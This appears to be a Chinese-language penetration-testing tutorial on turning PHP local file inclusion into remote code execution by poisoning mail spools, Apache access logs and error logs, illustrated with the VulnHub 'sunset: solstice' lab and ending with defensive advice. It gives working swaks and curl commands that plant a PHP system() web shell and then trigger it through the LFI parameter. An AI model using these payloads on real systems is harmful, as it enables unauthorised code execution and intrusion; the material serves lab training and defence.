LFI 日志与邮件投毒到 PHP RCE
LFI 到 RCE 的核心不是“能读任意文件”,而是找到一个 攻击者可控内容落盘的位置,再让 PHP 通过 include / require 把这个文件当代码解释。
常见载体包括:
| 载体 | 写入方式 | 典型路径 |
|---|---|---|
| 邮件文件 | SMTP 投递 | /var/mail/www-data、/var/spool/mail/user |
| Apache access.log | User-Agent / 请求路径 | /var/log/apache2/access.log |
| Apache error.log | Referer / 404 路径 | /var/log/apache2/error.log |
| Session 文件 | 可控 Session 值 | /var/lib/php/sessions/sess_* |
| 上传文件 | 上传后被包含 | Web 上传目录 |
只在授权靶场或明确授权的测试范围内复现。不要向真实邮件系统、日志系统或生产服务投递可执行 Payload。
判断前提
先确认 LFI 处理方式:
| 处理方式 | 能否执行 PHP Payload |
|---|---|
file_get_contents() / readfile() | 通常不能,只会显示文件内容 |
include() / require() | 可能执行 PHP Payload |
| 模板引擎读取 | 取决于模板解析方式 |
如果只是任意文件读取,应优先走运行时信息收集:LFI 任意文件读取与运行时信息收集。
方法 A:邮件投毒
1. 普通投递验证
先确认邮件能落到目标本地用户:
swaks --server 192.168.1.108 \
--to www-data@localhost \
--from test@example.com \
--body "beehack delivery test"
工具用法见:Swaks SMTP 服务测试。
2. 写入 PHP Payload
swaks --to www-data@localhost \
--from 'test@test.com' \
--body '<?php system($_GET["cmd"]); ?>' \
--server 192.168.1.108
3. 通过 LFI 包含邮件文件
curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../var/mail/www-data&cmd=id'
方法 B:Apache access.log 投毒
把 PHP Payload 放进 User-Agent:
curl -sS -A '<?php system($_GET["cmd"]); ?>' http://192.168.1.108/
通过 LFI 包含 access.log:
curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../var/log/apache2/access.log&cmd=id'
如果目标日志路径不同,可以先通过 LFI 尝试常见路径:
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
方法 C:Apache error.log 投毒
访问不存在的 PHP 文件,并把 Payload 放到 Referer:
curl -sS -e '<?php system($_GET["e"]); ?>' http://192.168.1.108/nonexistent.php
通过 LFI 包含 error.log:
curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../var/log/apache2/error.log&e=id'
复核要点
| 检查点 | 说明 |
|---|---|
| LFI 是否执行 PHP | include / require 型才是重点 |
| 日志是否可读 | Web 用户或 PHP 进程必须能读目标日志 |
| Payload 是否落盘 | 先用普通文本确认,不要一上来写复杂 Payload |
| 参数名是否冲突 | cmd、e 等参数要和目标页面参数区分 |
| 输出是否被 HTML 包裹 | 用 id、whoami 等短命令先确认 |
Solstice 案例
sunset: solstice 中,8593 端口存在 book 参数 LFI。环境识别确认它由 www-data 运行后,可以用三条路线拿到初始 RCE:
邮件投毒 /var/mail/www-data
Apache access.log 投毒
Apache error.log 投毒
完整过程见:VulnHub sunset: solstice 通关记录。
防御建议
- 不要把用户输入直接传给
include/require。 - 文件读取功能使用白名单 ID 映射,不接受任意路径。
- 日志、邮件、上传目录不应处于可被 Web 动态包含的位置。
- Web 进程权限最小化,限制读取系统日志和邮件文件。
- 对
php://filter、目录穿越和异常本地路径读取建立告警。